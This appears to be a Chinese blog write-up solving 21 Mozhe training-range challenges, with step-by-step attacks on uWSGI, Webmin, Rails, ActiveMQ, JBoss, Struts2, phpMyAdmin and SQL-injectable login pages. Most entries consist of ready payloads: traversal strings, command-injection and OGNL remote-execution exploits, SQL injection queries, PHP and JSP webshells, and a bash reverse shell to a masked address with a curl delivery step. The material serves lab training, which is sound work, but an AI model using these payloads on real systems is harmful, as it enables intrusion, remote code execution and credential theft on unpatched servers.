墨者21道
1.1.1.uWSGI 漏洞復現(CVE-2018-7490)
測試詳情
查找CVE-2018-7490漏洞,此漏洞構造…%2f可以訪問任意文件,目錄遍歷,在key.txt前面多添加/…%2f…%2f…%2f…%2就可以得到key
1.1.2.Webmin未經身份驗證的遠程代碼執行
測試詳情
Webmin是目前功能最強大的基于Web的Unix系統管理工具。管理員通過瀏覽器訪問Webmin的各種管理功能并完成相應的管理動作。
受影響的版本:Webmin<=1.920
抓包
修改包
第一步,修改路徑 session_ login.cgi 為 password_change.cgi
第二步,修改Cookie為 Cookie: redirect=1; testing=1;sid=x; sessiontest=1
第三步,修改參數 user=jammny&pam=&expired=2&old=test1|ls /&new1=test2&new2=test2
Cat /key.txt
注:無需|,直接注入
使用cve進行
1.1.3.Ruby On Rails漏洞復現第一題(CVE-2018-3760)
測試詳情
查詢資料,有固定路徑,/assets/存在漏洞
輸入:/assets/file:%2f%2f/etc/passwd
Payload:/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
使用curl命令返回也行
1.1.4.RX-Forwarded-For注入漏洞實戰
測試詳情 X-Forwarded-For的輸入可控
Burp抓包并在數據包中添加X-Forwarded-For:* 這里的*會讓sqlmap重點掃描, 注意這里X-Forwarded-For:必須和下方參數username隔開一行才有效
2.將數據包保存到文件用sqlmap掃描或者使用Burp插件Jython、CO2調用sqlmap掃描
py2 sqlmap.py -r 1.txt --batch 直接掃出XFF注入
py2 sqlmap.py -r 1.txt --batch --dbs 注出information_schema庫和webcalendar庫
py2 sqlmap.py -r 1.txt --batch -tables -D “webcalendar” 注出user和password表
python2 sqlmap.py -r 1.txt --batch --dump-all -T"user" -D"webcalendar" 暴躁dump出user里全部內容
得到admin/1832030811
1.1.5.ActiveMQ任意文件寫入漏洞分析溯源
測試詳情 Apache ActiveMQ是Apache軟件基金會所研發的開放源代碼消息中間件;由于ActiveMQ是一個純Java程序,因此只需要操作系統支持Java虛擬機,ActiveMQ便可執行。本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。
ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作。
ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。
默認的ActiveMQ的賬號和密碼均為admin,利用put的方法在/fileserver/中上傳webshell
由于上傳的是文本文件并不能被服務器解析,所以我們下一步要利用MOVE方法將上傳的webshell移動到可以執行的目錄并更改后綴為jsp。
可以解析jsp文件的路徑有:
1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin
1.1.6.ActiveMQ任意文件寫入漏洞分析溯源
測試詳情 首先嘗試在linux環境下完成shell反彈,在kali虛擬機內采用反序列化生成工具JavaDeserH2HC-master。
cd到JavaDeserH2HC-master的目錄下,執行以下命令:
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java ‘bin/bash -i>&/dev/tcp/192.168.xxx.xxx/1234<&1’
該命令產生一個ser文件ExampleCommonsCollections1WithHashMap.ser
命令中的ip是虛擬機的網絡ip,可以通過ifconfig查看,端口為nc所監聽的端口,可以隨便設置。這里執行nc -vv -l -p 1234開啟監聽。
將之前產生的ser文件post到存在反序列胡漏洞的url上,執行命令為:
curl http://219.153.49.228:41878/jbos(敏s感m詞)q-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
正常情況下,1234端口就能接受到反彈回來的shell,然而這里的靶機有做限制,所以最終選擇用DeserializeExploit工具完成。
1.1.7.WebShell文件上傳漏洞分析溯源
測試詳情 使用Apahce,php
嘗試上傳PHP,返回不允許上傳該類型文件,修改后綴為php3,php4均可成功解析PHP,隨后上傳一句話木馬,蟻劍成功連接
1.1.8.SQL手工注入漏洞測試(Sql Server數據庫)
測試詳情 解題步驟:
1、檢測注入點:“2 and 1=1”頁面正常;“2 and 1=2”頁面異常;
2、檢測回顯字段:“1 order by 4”頁面正常;“1 union all select ‘1’,‘2’,‘3’,‘4’”;
3、獲取數據庫名:“1 union all select ‘1’,db_name(),‘3’,‘4’”;
4、獲取數據表名:“1 union all select ‘1’,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘U’)”;
5、獲取字段名:“1 union all select ‘1’,(select top 1 col_name(object_id(‘manage’),n) from sysobjects),‘3’,‘4’”;
6、獲取數據項:“1 union all select ‘1’,(select top 1 username from manage),‘3’,‘4’”及“1 and union all select ‘1’,(select top 1 password from manage),‘3’,‘4’”;
7、獲取用戶名,解碼哈希值,登錄后拿到key,提交并完成實驗;
1.1.9.HTML前端代碼分析(暗鏈)
測試詳情 查看頁面源碼
訪問
1.1.10.SQL手工注入漏洞測試(MySQL數據庫)
測試詳情 發現有滾動的通告條,點擊進去,發現url中有可疑的點 /new_list.php?id=1。
針對參數id進行測試,輸入單引號,雙引號,括號等,沒有任何反饋信息,判斷為基于時間的盲注。
最后嘗試直接將id修改為2,頁面正常響應,但無內容顯示,判斷為int型注入。
進一步構造爆庫payload:id=2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata#。得到庫:information_schema,mozhe_Discuz_StormGroup,mysql,performance_schema,sys。
爆表payload:id=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’#。得到表:StormGroup_member,notice。
爆字段:id=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member’#。得到字段:id,name,password,status。
dump出表的值:id=2 union select 1,2,group_concat(name,’-’,password),4 from mozhe_Discuz_StormGroup.StormGroup_member #。得到兩個賬號:mozhe-356f589a7df439f6f744ff19bb8092c0,mozhe-d74f577fe2322a83d2d4a9f9d64dd6df。md5解密,得到正確的密碼。登錄,成功。
1.1.11.SQL手工注入漏洞測試(MySQL數據庫)
測試詳情 1.判斷注入類型
?id=1 and 1=1 (返回正常)
?id=1 and 1=2 (返回錯誤)
由此可以確認存在數字型注入漏洞
2.猜測表名
表名猜測為root、user、users、admin、administrator等
?id=1 and exists (select * from users) (返回錯誤)
?id=1 and exists (select * from admin) (返回正常)
由此可知表名為admin
3.猜測列名
常用的賬戶字段名和密碼名有user、name、admin、rootname、username、password,pwd,pass,passwd
?id= select username from admin (返回正常)
?id= select passwd from admin (返回正常)
由此推斷出admin表里面含有username和passwd列
4.判斷字段數
?id=1 order by 5 (返回錯誤)
?id=1 order by 4 (返回正常)
由此可知表名的字段數為4
5.判斷回顯位
?id=1 union select 1,2,3,4 from admin
返回2是回顯位
6.獲取字段內容
?id=1 union select 1,username,3,4 from admin
返回username的內容位moke
?id=1 union select 1,passwd,3,4 from admin
返回passwd的內容為 7e6ec4fadf84938f 一看是加密過的字符串,通過MD5解密得到密碼為:27737201
最后通過輸入賬戶密碼得到key
1.判斷注入類型
?id=1 and 1=1 (返回正常)
?id=1 and 1=2 (返回錯誤)
由此可以確認存在數字型注入漏洞
2.猜測表名
表名猜測為root、user、users、admin、administrator等
?id=1 and exists (select * from root) (返回錯誤)
?id=1 and exists (select * from user) (返回錯誤)
?id=1 and exists (select * from users) (返回錯誤)
?id=1 and exists (select * from admin) (返回正常)
由此可知表名為admin
3.猜測列名
常用的賬戶字段名和密碼名有user、name、admin、rootname、username、password,pwd,pass,passwd
?id= select username from admin (返回正常)
?id= select passwd from admin (返回正常)
由此推斷出admin表里面含有username和passwd列
4.判斷字段數
?id=1 order by 10 (返回錯誤)
?id=1 order by 5 (返回錯誤)
?id=1 order by 3 (返回正常)
?id=1 order by 4 (返回正常)
由此可知表名的字段數為4
5.判斷回顯位
?id=1 union select 1,2,3,4 from admin
返回2是回顯位
6.獲取字段內容
?id=1 union select 1,username,3,4 from admin
返回username的內容位moke
?id=1 union select 1,passwd,3,4 from admin
返回passwd的內容為 7e6ec4fadf84938f 一看是加密過的字符串,通過MD5解密得到密碼為:27737201
最后通過輸入賬戶密碼得到key
1.1.12.表單暴力破解實訓(第1題)
測試詳情 第一步:訪問題目給出頁面,使用BP進行目標頁面地址設置(包括端口)
第二步:賬號輸入admin,密碼隨意輸入(自己知道)
第三步:使用BP攔截目標數據,設置PW為爆破點。
第四步:設置線程(我使用的100線程)和回響時間(我默認2000了)并導入0-9999字典(自己生成或者網上找一下,多滴很),開始破解!
第五步:完成后尋找不同長度的回響(都是2000,只有一個是2002),對應的PW是0952.
第六步:我試著登錄了一下,得到key
1.1.13.表單SQL注入漏洞測試(寬字節)
寬字節注入原理:
前提條件:滿足目標程序使用雙/多字符集進行解析
magic_quptes_gpc魔術引號開關過濾了單引號‘ 雙引號" 反斜杠與NULL等字符都會被加上反斜線進行轉義寬字節注入就是找到用一個16進制的字符與魔術引號產生的反斜杠合成一個漢字,從而逃逸出去,使sql語句代碼可以成功閉合并執行
反斜杠的編碼是%5c,根據gbk編碼%df%5c就是中文’運’字
3、在id=1%df’ 這樣魔術引號會把單引號’轉義變成’,而前面%df與變成%df,根據GBK編碼,就是運字,紅箭頭的就是運字,成功報錯
4、查看回顯的位置并判斷有多少字段,-1%df%27 union select 1,2,3,4%23
-1%df%27 union select 1,2,3,4,5%23 沒報錯那就是5個字段
5、爆表
-1%df%27 union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=database()%23
6、爆字段
字符轉十六進制http://www.bejson.com/convert/ox2str/
stormgroup_member的十六進制的數為
0x73746f726d67726f75705f6d656d626572
-1%df%27 union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572%23
7、爆值
-1%df%27 union select 1,2,3,4,group_concat(name,0x7e,password) from stormgroup_member%23
3114b433dece9180717f2b7de56b28a3
md5:528469
e0c388fd1560531dc1d915b7dfa5711d
md5:715457
8、登錄
賬號:mozhe
密碼:715457
第一個密碼是不行的
key:
mozhe0d4e0ca21a3cc6a3e60f3ae0df9
1.1.14.phpMyAdmin后臺文件包含分析溯源
測試詳情 進入后臺,使用弱口令嘗試進入
如admin~admin,root-root等
點到SQL,可以進行sql語句select ‘<?php eval($_POST[giao]);?>’ into outfile ‘/var/www/html/2.php’,使用菜刀連,拿到key
1.1.15.Ruby On Rails漏洞復現第二題(CVE-2019-5418)
測試詳情 訪問robots并抓包,
通過CVE-2019-5418得知通過訪問“/chybeta”路徑,修改Accept為 …/…/…/…/…/…/etc/passwd{{ 實現文件讀取;
又robots得,改/robots,修改Accept為任意文件地址:payload: …/…/…/…/…/…/…/…/etc/passwd 成功獲取key
1.1.16.WebShell文件上傳漏洞分析溯源(第3題)
測試詳情 此文件上傳是通過判斷文件類型,通過制作圖片碼,再用burp抓包修改文件后綴名為.php,上傳成功。
1.1.17.登錄密碼重置漏洞分析溯源
測試詳情 1.打開靶場,下方提示已注冊號碼18868345809。
2.使用該號碼獲取短信驗證碼,輸入18868345809,密碼和驗證碼,獲取短信驗證碼。
3.獲取到后,把手機號改為17101304128,重置密碼,獲取key。
1.1.18.ActiveMQ任意文件寫入漏洞分析溯源
測試詳情 文件寫入的幾種利用方式
1 寫入webshell
2 寫入 cron 或 ssh key
3 寫入 jar 或 jetty.xml 等庫和配置文件
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh
key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。
默認密碼為admin,/fileserve/存在put方法,抓包,通過put上傳jsp木馬
<%
if(“023”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("");
}
%>
發現并不能解析
移到api下
Destination: file:///opt/activemq/webapps/api/shell.jsp
查找根目錄
1.1.19.JBoss 5.x / 6.x反序列化漏洞分析溯源
測試詳情 漏洞編號為CVE-2017-12149
該漏洞存在于 /invoker/readonly 中,產生原因是JBoss在將用戶Post提交的數據進行反序列化時,沒做安全過濾,直接利用工具getshell
1.1.20.Apache Struts2遠程代碼執行漏洞(S2-032)復現
測試詳情 使用exp:
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=[命令]
訪問頁面:http://219.153.49.228:41481/?method:此處放exp
1.1.21.Apache Struts2遠程代碼執行漏洞(S2-037)
測試詳情 使用exp
EXP:
%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=[命令]
訪問 http://219.153.49.228:44144/orders/3/此處放exp
總結
- 上一篇: 中国近代史纲要考研选择题
- 下一篇: 累积总分千帆竞发图